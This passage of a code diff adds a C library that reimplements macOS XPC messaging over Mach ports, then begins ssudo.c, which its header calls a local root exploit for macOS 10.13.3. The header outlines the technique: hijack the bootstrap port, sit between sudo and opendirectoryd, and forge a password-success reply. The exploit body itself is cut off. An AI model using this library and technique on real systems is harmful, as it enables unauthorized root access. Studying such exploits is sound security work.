||||||
|
spc_array_t* array = value.value.array;
|
||||||
|
printf("%*c[\n", indent, ' ');
|
||||||
|
for (size_t i = 0; i < array->length; i++) {
|
||||||
|
spc_dump_value(array->values[i], indent + 2);
|
||||||
|
}
|
||||||
|
printf("%*c]\n", indent, ' ');
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case SPC_TYPE_DICT: {
|
||||||
|
spc_dictionary_item_t* current = value.value.dict->items;
|
||||||
|
while (current) {
|
||||||
|
printf("%*c%s:\n", indent, ' ', current->key);
|
||||||
|
spc_dump_value(current->value, indent + 2);
|
||||||
|
current = current->next;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case SPC_TYPE_SEND_PORT:
|
||||||
|
printf("%*cport send right: %d\n", indent, ' ', value.value.port.name);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_RECV_PORT:
|
||||||
|
printf("%*cport receive right: %d\n", indent, ' ', value.value.port.name);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_DATA:
|
||||||
|
printf("%*cdata: 0x", indent, ' ');
|
||||||
|
for (size_t i = 0; i < value.value.data.size; i++)
|
||||||
|
printf("%02x", value.value.data.ptr[i]);
|
||||||
|
printf("\n");
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
printf("%*cUnknown item of type %d\n", indent, ' ', value.type);
|
||||||
|
}
|
||||||
|
|
||||||
|
free(indent_str);
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_dump(spc_dictionary_t* dict)
|
||||||
|
{
|
||||||
|
spc_value_t value;
|
||||||
|
value.type = SPC_TYPE_DICT;
|
||||||
|
value.value.dict = dict;
|
||||||
|
spc_dump_value(value, 0);
|
||||||
|
}
|
|
@ -0,0 +1,30 @@
|
||||||
|
|
||||||
|
#ifndef _DICTIONARY_H_
|
||||||
|
#define _DICTIONARY_H_
|
||||||
|
|
||||||
|
#include "datatypes.h"
|
||||||
|
|
||||||
|
spc_dictionary_t* spc_dictionary_create();
|
||||||
|
|
||||||
|
void spc_dictionary_set_value(spc_dictionary_t* dict, const char* key, spc_value_t value);
|
||||||
|
void spc_dictionary_set_string(spc_dictionary_t* dict, const char* key, const char* value);
|
||||||
|
void spc_dictionary_set_uint64(spc_dictionary_t* dict, const char* key, uint64_t value);
|
||||||
|
void spc_dictionary_set_int64(spc_dictionary_t* dict, const char* key, int64_t value);
|
||||||
|
void spc_dictionary_set_bool(spc_dictionary_t* dict, const char* key, int value);
|
||||||
|
void spc_dictionary_set_data(spc_dictionary_t* dict, const char* key, const void* value, size_t len);
|
||||||
|
void spc_dictionary_set_send_port(spc_dictionary_t* dict, const char* key, mach_port_t port);
|
||||||
|
void spc_dictionary_set_receive_port(spc_dictionary_t* dict, const char* key, mach_port_t port);
|
||||||
|
void spc_dictionary_set_fd(spc_dictionary_t* dict, const char* key, int fd);
|
||||||
|
|
||||||
|
spc_dictionary_item_t* spc_dictionary_lookup(spc_dictionary_t* dict, const char* key);
|
||||||
|
|
||||||
|
mach_port_t spc_dictionary_get_send_port(spc_dictionary_t* dict, const char* key);
|
||||||
|
mach_port_t spc_dictionary_get_receive_port(spc_dictionary_t* dict, const char* key);
|
||||||
|
uint64_t spc_dictionary_get_uint64(spc_dictionary_t* dict, const char* key);
|
||||||
|
uint64_t spc_dictionary_get_int64(spc_dictionary_t* dict, const char* key);
|
||||||
|
const char* spc_dictionary_get_string(spc_dictionary_t* dict, const char* key);
|
||||||
|
int spc_dictionary_get_bool(spc_dictionary_t* dict, const char* key);
|
||||||
|
|
||||||
|
void spc_dump(spc_dictionary_t* dict);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,469 @@
|
||||||
|
#include "serialization.h"
|
||||||
|
#include "array.h"
|
||||||
|
#include "dictionary.h"
|
||||||
|
#include "utils.h"
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
unsigned char* start;
|
||||||
|
unsigned char* end;
|
||||||
|
unsigned char* ptr;
|
||||||
|
size_t num_ports;
|
||||||
|
spc_port_t* ports;
|
||||||
|
} writer_t;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
unsigned char* end;
|
||||||
|
unsigned char* ptr;
|
||||||
|
size_t next_port;
|
||||||
|
size_t num_ports;
|
||||||
|
spc_port_t* ports;
|
||||||
|
} reader_t;
|
||||||
|
|
||||||
|
char last_header[8] = "CPX@\x05\x00\x00\x00";
|
||||||
|
|
||||||
|
void spc_ensure_space(writer_t* writer, size_t num_bytes)
|
||||||
|
{
|
||||||
|
if (writer->ptr + num_bytes > writer->end) {
|
||||||
|
size_t new_size = (writer->end - writer->start) + num_bytes;
|
||||||
|
void* buf = realloc(writer->start, new_size);
|
||||||
|
writer->ptr = buf + (writer->ptr - writer->start);
|
||||||
|
writer->start = buf;
|
||||||
|
writer->end = buf + new_size;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t spc_write(writer_t* writer, void* buf, size_t len)
|
||||||
|
{
|
||||||
|
spc_ensure_space(writer, len);
|
||||||
|
|
||||||
|
memcpy(writer->ptr, buf, len);
|
||||||
|
writer->ptr += len;
|
||||||
|
|
||||||
|
return len;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t spc_write_padded(writer_t* writer, const void* buf, size_t len)
|
||||||
|
{
|
||||||
|
size_t remainder = (4 - (len % 4)) % 4;
|
||||||
|
|
||||||
|
spc_ensure_space(writer, len + remainder);
|
||||||
|
|
||||||
|
memcpy(writer->ptr, buf, len);
|
||||||
|
writer->ptr += len;
|
||||||
|
memset(writer->ptr, 0, remainder);
|
||||||
|
writer->ptr += remainder;
|
||||||
|
|
||||||
|
return len + remainder;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t spc_write_str(writer_t* writer, const char* str)
|
||||||
|
{
|
||||||
|
return spc_write_padded(writer, str, strlen(str) + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t spc_write_uint32(writer_t* writer, uint32_t val)
|
||||||
|
{
|
||||||
|
// TODO replace with
|
||||||
|
// spc_write(writer, &val, 4);
|
||||||
|
spc_ensure_space(writer, 4);
|
||||||
|
|
||||||
|
memcpy(writer->ptr, &val, 4);
|
||||||
|
writer->ptr += 4;
|
||||||
|
|
||||||
|
return 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t spc_write_uint64(writer_t* writer, uint64_t val)
|
||||||
|
{
|
||||||
|
spc_ensure_space(writer, 8);
|
||||||
|
|
||||||
|
memcpy(writer->ptr, &val, 8);
|
||||||
|
writer->ptr += 8;
|
||||||
|
|
||||||
|
return 8;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t spc_write_int64(writer_t* writer, uint64_t val)
|
||||||
|
{
|
||||||
|
spc_ensure_space(writer, 8);
|
||||||
|
|
||||||
|
memcpy(writer->ptr, &val, 8);
|
||||||
|
writer->ptr += 8;
|
||||||
|
|
||||||
|
return 8;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t spc_write_double(writer_t* writer, double val)
|
||||||
|
{
|
||||||
|
spc_ensure_space(writer, 8);
|
||||||
|
|
||||||
|
memcpy(writer->ptr, &val, 8);
|
||||||
|
writer->ptr += 8;
|
||||||
|
|
||||||
|
return 8;
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_write_port(writer_t* writer, spc_port_t port)
|
||||||
|
{
|
||||||
|
writer->ports = realloc(writer->ports, (writer->num_ports + 1) * sizeof(spc_port_t));
|
||||||
|
writer->ports[writer->num_ports] = port;
|
||||||
|
writer->num_ports += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t spc_write_array(writer_t* writer, spc_array_t* array);
|
||||||
|
size_t spc_write_dict(writer_t* writer, spc_dictionary_t* dict);
|
||||||
|
|
||||||
|
size_t spc_serialize_value(writer_t* writer, spc_value_t value)
|
||||||
|
{
|
||||||
|
size_t bytes_written = 0;
|
||||||
|
bytes_written += spc_write_uint32(writer, value.type);
|
||||||
|
switch (value.type) {
|
||||||
|
case SPC_TYPE_NULL:
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_BOOL:
|
||||||
|
bytes_written += spc_write_uint32(writer, value.value.u64);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_UINT64:
|
||||||
|
bytes_written += spc_write_uint64(writer, value.value.u64);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_INT64:
|
||||||
|
bytes_written += spc_write_int64(writer, value.value.i64);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_DOUBLE:
|
||||||
|
bytes_written += spc_write_double(writer, value.value.dbl);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_STRING:
|
||||||
|
bytes_written += spc_write_uint32(writer, strlen(value.value.str) + 1);
|
||||||
|
bytes_written += spc_write_str(writer, value.value.str);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_ARRAY:
|
||||||
|
bytes_written += spc_write_array(writer, value.value.array);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_DICT:
|
||||||
|
bytes_written += spc_write_dict(writer, value.value.dict);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_FD:
|
||||||
|
case SPC_TYPE_SEND_PORT:
|
||||||
|
case SPC_TYPE_RECV_PORT:
|
||||||
|
spc_write_port(writer, value.value.port);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_UUID:
|
||||||
|
bytes_written += spc_write(writer, value.value.ptr, 0x10);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_DATA:
|
||||||
|
bytes_written += spc_write_uint32(writer, value.value.data.size);
|
||||||
|
bytes_written += spc_write_padded(writer, value.value.data.ptr, value.value.data.size);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
printf("Unsupported value type: 0x%x\n", value.type);
|
||||||
|
}
|
||||||
|
|
||||||
|
return bytes_written;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t spc_write_array(writer_t* writer, spc_array_t* array)
|
||||||
|
{
|
||||||
|
size_t bytes_written = 0;
|
||||||
|
ptrdiff_t bytesize_offset = writer->ptr - writer->start;
|
||||||
|
spc_write_uint32(writer, 0); // placeholder for byte size
|
||||||
|
|
||||||
|
bytes_written += spc_write_uint32(writer, array->length);
|
||||||
|
|
||||||
|
for (size_t i = 0; i < array->length; i++) {
|
||||||
|
bytes_written += spc_serialize_value(writer, array->values[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fill in correct byte size
|
||||||
|
*(uint32_t*)(writer->start + bytesize_offset) = bytes_written;
|
||||||
|
return bytes_written + 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t spc_write_dict(writer_t* writer, spc_dictionary_t* dict)
|
||||||
|
{
|
||||||
|
size_t bytes_written = 0;
|
||||||
|
ptrdiff_t bytesize_offset = writer->ptr - writer->start;
|
||||||
|
spc_write_uint32(writer, 0); // placeholder for byte size
|
||||||
|
|
||||||
|
bytes_written += spc_write_uint32(writer, dict->num_items);
|
||||||
|
|
||||||
|
for (spc_dictionary_item_t* item = dict->items; item != NULL; item = item->next) {
|
||||||
|
bytes_written += spc_write_str(writer, item->key);
|
||||||
|
bytes_written += spc_serialize_value(writer, item->value);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fill in correct byte size
|
||||||
|
*(uint32_t*)(writer->start + bytesize_offset) = bytes_written;
|
||||||
|
return bytes_written + 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
spc_mach_message_t* spc_serialize(spc_message_t* msg)
|
||||||
|
{
|
||||||
|
spc_mach_message_t* mach_msg;
|
||||||
|
|
||||||
|
size_t actual_size, content_size, initial_size = msg->content->num_items * 32; // heuristic
|
||||||
|
|
||||||
|
writer_t writer;
|
||||||
|
writer.start = malloc(initial_size);
|
||||||
|
writer.end = writer.start + initial_size;
|
||||||
|
writer.ptr = writer.start;
|
||||||
|
writer.ports = NULL;
|
||||||
|
writer.num_ports = 0;
|
||||||
|
|
||||||
|
spc_write(&writer, last_header, 8);
|
||||||
|
spc_write_uint32(&writer, SPC_TYPE_DICT);
|
||||||
|
spc_write_dict(&writer, msg->content);
|
||||||
|
|
||||||
|
content_size = writer.ptr - writer.start;
|
||||||
|
char* ptr;
|
||||||
|
|
||||||
|
if (writer.num_ports != 0) {
|
||||||
|
// Must create a complex messge
|
||||||
|
actual_size = sizeof(mach_msg_header_t) + sizeof(mach_msg_body_t) + writer.num_ports * sizeof(mach_msg_port_descriptor_t) + content_size;
|
||||||
|
mach_msg = malloc(actual_size);
|
||||||
|
mach_msg->header.msgh_bits = MACH_MSGH_BITS_COMPLEX;
|
||||||
|
|
||||||
|
ptr = (char*)mach_msg + sizeof(mach_msg_header_t);
|
||||||
|
mach_msg_body_t* body = (mach_msg_body_t*)ptr;
|
||||||
|
body->msgh_descriptor_count = writer.num_ports;
|
||||||
|
ptr += sizeof(mach_msg_body_t);
|
||||||
|
|
||||||
|
for (size_t i = 0; i < writer.num_ports; i++) {
|
||||||
|
mach_msg_port_descriptor_t* descriptor = (mach_msg_port_descriptor_t*)ptr;
|
||||||
|
descriptor->type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
descriptor->name = writer.ports[i].name;
|
||||||
|
descriptor->disposition = writer.ports[i].type;
|
||||||
|
ptr += sizeof(mach_msg_port_descriptor_t);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
actual_size = sizeof(mach_msg_header_t) + content_size;
|
||||||
|
mach_msg = malloc(actual_size);
|
||||||
|
mach_msg->header.msgh_bits = 0;
|
||||||
|
ptr = (char*)mach_msg->buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fill in the mach message
|
||||||
|
mach_msg->header.msgh_remote_port = msg->remote_port.name;
|
||||||
|
mach_msg->header.msgh_local_port = msg->local_port.name;
|
||||||
|
mach_msg->header.msgh_id = msg->id;
|
||||||
|
mach_msg->header.msgh_size = actual_size;
|
||||||
|
mach_msg->header.msgh_bits |= MACH_MSGH_BITS(msg->remote_port.type, msg->local_port.type);
|
||||||
|
memcpy(ptr, writer.start, content_size);
|
||||||
|
|
||||||
|
free(writer.start);
|
||||||
|
|
||||||
|
return mach_msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
void* spc_read(reader_t* reader, size_t len)
|
||||||
|
{
|
||||||
|
// Let it crash if the received message is invalid...
|
||||||
|
if (reader->ptr + len > reader->end) {
|
||||||
|
printf("OOB read in spc_read\n");
|
||||||
|
abort();
|
||||||
|
}
|
||||||
|
|
||||||
|
void* res = reader->ptr;
|
||||||
|
reader->ptr += len;
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t spc_read_uint64(reader_t* reader)
|
||||||
|
{
|
||||||
|
return *(uint64_t*)spc_read(reader, 8);
|
||||||
|
}
|
||||||
|
|
||||||
|
int64_t spc_read_int64(reader_t* reader)
|
||||||
|
{
|
||||||
|
return *(int64_t*)spc_read(reader, 8);
|
||||||
|
}
|
||||||
|
|
||||||
|
double spc_read_double(reader_t* reader)
|
||||||
|
{
|
||||||
|
return *(double*)spc_read(reader, 8);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t spc_read_uint32(reader_t* reader)
|
||||||
|
{
|
||||||
|
return *(uint32_t*)spc_read(reader, 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
void* spc_read_padded(reader_t* reader, size_t size)
|
||||||
|
{
|
||||||
|
size_t remainder = (4 - (size % 4)) % 4;
|
||||||
|
|
||||||
|
return spc_read(reader, size + remainder);
|
||||||
|
}
|
||||||
|
|
||||||
|
char* spc_read_str(reader_t* reader)
|
||||||
|
{
|
||||||
|
unsigned char* end = memchr(reader->ptr, 0, reader->end - reader->ptr);
|
||||||
|
if (!end)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
return spc_read_padded(reader, end - reader->ptr + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
spc_port_t spc_reader_next_port(reader_t* reader)
|
||||||
|
{
|
||||||
|
if (reader->next_port >= reader->num_ports)
|
||||||
|
return SPC_NULL_PORT;
|
||||||
|
|
||||||
|
reader->next_port++;
|
||||||
|
return reader->ports[reader->next_port - 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
spc_value_t spc_deserialize_value(reader_t* reader);
|
||||||
|
|
||||||
|
spc_array_t* spc_deserialize_array(reader_t* reader)
|
||||||
|
{
|
||||||
|
spc_array_t* array = spc_array_create();
|
||||||
|
spc_read_uint32(reader);
|
||||||
|
size_t length = spc_read_uint32(reader);
|
||||||
|
for (uint32_t i = 0; i < length; i++) {
|
||||||
|
spc_value_t value = spc_deserialize_value(reader);
|
||||||
|
spc_array_set_value(array, i, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
return array;
|
||||||
|
}
|
||||||
|
|
||||||
|
spc_dictionary_t* spc_deserialize_dict(reader_t* reader)
|
||||||
|
{
|
||||||
|
spc_dictionary_t* dict = spc_dictionary_create();
|
||||||
|
spc_read_uint32(reader);
|
||||||
|
dict->num_items = spc_read_uint32(reader);
|
||||||
|
for (uint32_t i = 0; i < dict->num_items; i++) {
|
||||||
|
spc_dictionary_item_t* item = malloc(sizeof(spc_dictionary_item_t));
|
||||||
|
item->key = strdup(spc_read_str(reader));
|
||||||
|
item->value = spc_deserialize_value(reader);
|
||||||
|
item->next = dict->items;
|
||||||
|
dict->items = item;
|
||||||
|
}
|
||||||
|
|
||||||
|
return dict;
|
||||||
|
}
|
||||||
|
|
||||||
|
spc_value_t spc_deserialize_value(reader_t* reader)
|
||||||
|
{
|
||||||
|
spc_value_t value;
|
||||||
|
value.type = spc_read_uint32(reader);
|
||||||
|
switch (value.type) {
|
||||||
|
case SPC_TYPE_NULL:
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_BOOL:
|
||||||
|
value.value.u64 = spc_read_uint32(reader);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_UINT64:
|
||||||
|
value.value.u64 = spc_read_uint64(reader);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_INT64:
|
||||||
|
value.value.i64 = spc_read_int64(reader);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_DOUBLE:
|
||||||
|
value.value.dbl = spc_read_double(reader);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_STRING:
|
||||||
|
spc_read_uint32(reader);
|
||||||
|
value.value.str = strdup(spc_read_str(reader));
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_ARRAY:
|
||||||
|
value.value.array = spc_deserialize_array(reader);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_DICT:
|
||||||
|
value.value.dict = spc_deserialize_dict(reader);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_SEND_PORT:
|
||||||
|
value.value.port = spc_reader_next_port(reader);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_RECV_PORT:
|
||||||
|
value.value.port = spc_reader_next_port(reader);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_UUID:
|
||||||
|
value.value.ptr = malloc(0x10);
|
||||||
|
memcpy(value.value.ptr, spc_read(reader, 0x10), 0x10);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_DATA:
|
||||||
|
value.value.data.size = spc_read_uint32(reader);
|
||||||
|
value.value.data.ptr = malloc(value.value.data.size);
|
||||||
|
memcpy(value.value.data.ptr, spc_read_padded(reader, value.value.data.size), value.value.data.size);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
printf("Unsupported value type: 0x%x\n", value.type);
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
#define MSGID_CONNECTION_INTERRUPTED 71
|
||||||
|
|
||||||
|
spc_message_t* spc_deserialize(spc_mach_message_t* mach_msg)
|
||||||
|
{
|
||||||
|
reader_t reader;
|
||||||
|
reader.next_port = 0;
|
||||||
|
reader.num_ports = 0;
|
||||||
|
reader.ports = NULL;
|
||||||
|
reader.end = (unsigned char*)mach_msg + mach_msg->header.msgh_size;
|
||||||
|
reader.ptr = mach_msg->buf;
|
||||||
|
|
||||||
|
// Handle well-known message IDs
|
||||||
|
if (mach_msg->header.msgh_id == MSGID_CONNECTION_INTERRUPTED) {
|
||||||
|
spc_dictionary_t* dict = spc_dictionary_create();
|
||||||
|
spc_dictionary_set_string(dict, "error", "Connection interrupted");
|
||||||
|
printf("Connection interrupted\n");
|
||||||
|
// TODO
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (mach_msg->header.msgh_bits & MACH_MSGH_BITS_COMPLEX) {
|
||||||
|
mach_msg_body_t* body = (mach_msg_body_t*)spc_read(&reader, sizeof(mach_msg_body_t));
|
||||||
|
for (int i = 0; i < body->msgh_descriptor_count; i++) {
|
||||||
|
mach_msg_descriptor_type_t type = ((mach_msg_type_descriptor_t*)reader.ptr)->type;
|
||||||
|
switch (type) {
|
||||||
|
case MACH_MSG_PORT_DESCRIPTOR: {
|
||||||
|
reader.ports = realloc(reader.ports, (reader.num_ports + 1) * sizeof(spc_port_t));
|
||||||
|
mach_msg_port_descriptor_t* descriptor = (mach_msg_port_descriptor_t*)spc_read(&reader, sizeof(mach_msg_port_descriptor_t));
|
||||||
|
reader.ports[reader.num_ports].name = descriptor->name;
|
||||||
|
reader.ports[reader.num_ports].type = descriptor->disposition;
|
||||||
|
reader.num_ports += 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case MACH_MSG_OOL_DESCRIPTOR:
|
||||||
|
spc_read(&reader, sizeof(mach_msg_ool_descriptor_t));
|
||||||
|
printf("Warning: ignoring OOL descriptor\n");
|
||||||
|
break;
|
||||||
|
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
|
||||||
|
spc_read(&reader, sizeof(mach_msg_ool_ports_descriptor_t));
|
||||||
|
printf("Warning: ignoring OOL ports descriptor\n");
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
printf("Unsupported mach message descriptor type: %d\n", type);
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void* header = spc_read(&reader, 8);
|
||||||
|
memcpy(last_header, header, 8);
|
||||||
|
|
||||||
|
spc_value_t value = spc_deserialize_value(&reader);
|
||||||
|
if (value.type != SPC_TYPE_DICT) {
|
||||||
|
spc_value_destroy(value);
|
||||||
|
puts("Invalid XPC message type");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
spc_message_t* msg = malloc(sizeof(spc_message_t));
|
||||||
|
msg->remote_port.name = mach_msg->header.msgh_remote_port;
|
||||||
|
msg->remote_port.type = MACH_MSGH_BITS_REMOTE(mach_msg->header.msgh_bits);
|
||||||
|
msg->local_port.name = mach_msg->header.msgh_remote_port;
|
||||||
|
msg->local_port.type = MACH_MSGH_BITS_LOCAL(mach_msg->header.msgh_bits);
|
||||||
|
msg->id = mach_msg->header.msgh_id;
|
||||||
|
msg->content = value.value.dict;
|
||||||
|
|
||||||
|
return msg;
|
||||||
|
}
|
|
@ -0,0 +1,19 @@
|
||||||
|
#ifndef _SERIALIZATION_H_
|
||||||
|
#define _SERIALIZATION_H_
|
||||||
|
|
||||||
|
#include "datatypes.h"
|
||||||
|
|
||||||
|
#include <mach/mach.h>
|
||||||
|
|
||||||
|
typedef struct _spc_mach_message_t {
|
||||||
|
mach_msg_header_t header;
|
||||||
|
unsigned char buf[]; // variable sized body
|
||||||
|
} spc_mach_message_t;
|
||||||
|
|
||||||
|
// Serializes the given dictionary into a spc_mach_message_t.
|
||||||
|
// The returned pointer has to be free()d by the caller.
|
||||||
|
spc_mach_message_t* spc_serialize(spc_message_t* msg);
|
||||||
|
|
||||||
|
spc_message_t* spc_deserialize(spc_mach_message_t* msg);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,6 @@
|
||||||
|
#include "datatypes.h"
|
||||||
|
#include "array.h"
|
||||||
|
#include "dictionary.h"
|
||||||
|
#include "serialization.h"
|
||||||
|
#include "connection.h"
|
||||||
|
#include "utils.h"
|
|
@ -0,0 +1,79 @@
|
||||||
|
#include "utils.h"
|
||||||
|
|
||||||
|
const char* spc_errors[] = {
|
||||||
|
"",
|
||||||
|
"Malformed bundle",
|
||||||
|
"Invalid path",
|
||||||
|
"Invalid property list",
|
||||||
|
"Invalid or missing service identifier",
|
||||||
|
"Invalid or missing Program/ProgramArguments",
|
||||||
|
"Could not find specified domain",
|
||||||
|
"Could not find specified service",
|
||||||
|
"The specified username does not exist",
|
||||||
|
"The specified group does not exist",
|
||||||
|
"Routine not yet implemented",
|
||||||
|
"(n/a)",
|
||||||
|
"Bad response from server",
|
||||||
|
"Service is disabled",
|
||||||
|
"Bad subsystem destination for request",
|
||||||
|
"Path not searched for services",
|
||||||
|
"Path had bad ownership/permissions",
|
||||||
|
"Path is whitelisted for domain",
|
||||||
|
"Domain is tearing down",
|
||||||
|
"omain does not support specified action",
|
||||||
|
"Request type is no longer supported",
|
||||||
|
"The specified service did not ship with the operating system",
|
||||||
|
"The specified path is not a bundle",
|
||||||
|
"The service was superseded by a later version",
|
||||||
|
"The system encountered a condition where behavior was undefined",
|
||||||
|
"Out of order requests",
|
||||||
|
"Request for stale data",
|
||||||
|
"Multiple errors were returned; see stderr",
|
||||||
|
"Service cannot load in requested session",
|
||||||
|
"Process is not managed",
|
||||||
|
"Action not allowed on singleton service",
|
||||||
|
"Service does not support the specified action",
|
||||||
|
"Service cannot be loaded on this hardware",
|
||||||
|
"Service cannot presently execute",
|
||||||
|
"Service name is reserved or invalid",
|
||||||
|
"Reentrancy avoided",
|
||||||
|
"Operation only supported on development builds",
|
||||||
|
"Requested entry was cached",
|
||||||
|
"Requestor lacks required entitlement",
|
||||||
|
"Endpoint is hidden",
|
||||||
|
"Domain is in on-demand-only mode",
|
||||||
|
"The specified service did not ship in the requestor",
|
||||||
|
"The specified service path was not in the service cache",
|
||||||
|
"Could not find a bundle of the given identifier through LaunchServices",
|
||||||
|
"Operation not permitted while System Integrity Protection is engaged",
|
||||||
|
"A complete hack",
|
||||||
|
"Service cannot load in current boot environment",
|
||||||
|
"Completely unexpected error",
|
||||||
|
"Requestor is not a platform binary",
|
||||||
|
"Refusing to execute/trust quarantined program/file",
|
||||||
|
"Domain creation with that UID is not allowed anymore",
|
||||||
|
"System service is not in system service whitelist",
|
||||||
|
"Unknown error",
|
||||||
|
};
|
||||||
|
|
||||||
|
const char* spc_strerror(int errno)
|
||||||
|
{
|
||||||
|
const char* result;
|
||||||
|
if (errno - 107 >= 52)
|
||||||
|
result = strerror(errno);
|
||||||
|
else
|
||||||
|
result = spc_errors[errno - 106];
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int mach_port_addref(mach_port_t port, mach_port_right_t right) {
|
||||||
|
mach_port_urefs_t refs;
|
||||||
|
kern_return_t kr = mach_port_get_refs(mach_task_self(), port, right, &refs);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "mach_port_get_refs");
|
||||||
|
ASSERT_MSG(refs != 0, "invalid mach port given to mach_port_addref");
|
||||||
|
|
||||||
|
kr = mach_port_mod_refs(mach_task_self(), port, right, 1);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "mach_port_mod_refs");
|
||||||
|
|
||||||
|
return refs + 1;
|
||||||
|
}
|
|
@ -0,0 +1,18 @@
|
||||||
|
#ifndef _UTILS_H_
|
||||||
|
#define _UTILS_H_
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
|
||||||
|
#define ASSERT(c) if (!(c)) { printf("[-] assertion \"" #c "\" failed\n"); exit(-1); }
|
||||||
|
#define ASSERT_MSG(c, msg) if (!(c)) { printf("[-] %s\n", msg); exit(-1); }
|
||||||
|
#define ASSERT_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed!\n", name); exit(-1); }
|
||||||
|
#define ASSERT_MACH_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed: %s!\n", name, mach_error_string(r)); exit(-1); }
|
||||||
|
#define ASSERT_POSIX_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed: %s!\n", name, strerror(r)); exit(-1); }
|
||||||
|
|
||||||
|
const char* spc_strerror(int errno);
|
||||||
|
|
||||||
|
int mach_port_addref(mach_port_t port, mach_port_right_t right);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,6 @@
|
||||||
|
CC = clang
|
||||||
|
CFLAGS += -I../libspc
|
||||||
|
LIB = $(wildcard ../libspc/*.c)
|
||||||
|
|
||||||
|
ssudo: ssudo.c $(LIB)
|
||||||
|
$(CC) $(CFLAGS) -o ssudo $(LIB) ssudo.c
|
Binary file not shown.
|
@ -0,0 +1,275 @@
|
||||||
|
/*
|
||||||
|
* ssudo.c - local root exploit for macOS 10.13.3
|
||||||
|
*
|
||||||
|
* Achieves MitM between sudo and opendirectoryd (which verifies passwords) by
|
||||||
|
* abusing the task_set_special_port API to overwrite the bootstrap port.
|
||||||
|
*
|
||||||
|
* Program flow:
|
||||||
|
* 1. Overwrite the bootstrap port, start threads to bridge XPC traffic to
|
||||||
|
* opendirectoryd, forward traffic to launchd but resolve opendirectoryd
|
||||||
|
* to our own port instead
|
||||||
|
* 2. Fork and exec sudo. Sudo will talk to opendirectoryd to verify the
|
||||||
|
* password. We modify the reply to indicate success
|
||||||
|
* 3. sudo executes this binary again. We detect that and restore the bootstrap
|
||||||
|
* port, then run the requested command
|
||||||
|
*
|
||||||
|
* Limitations: currently stderr is set to stdout in the child processes, see comments below
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
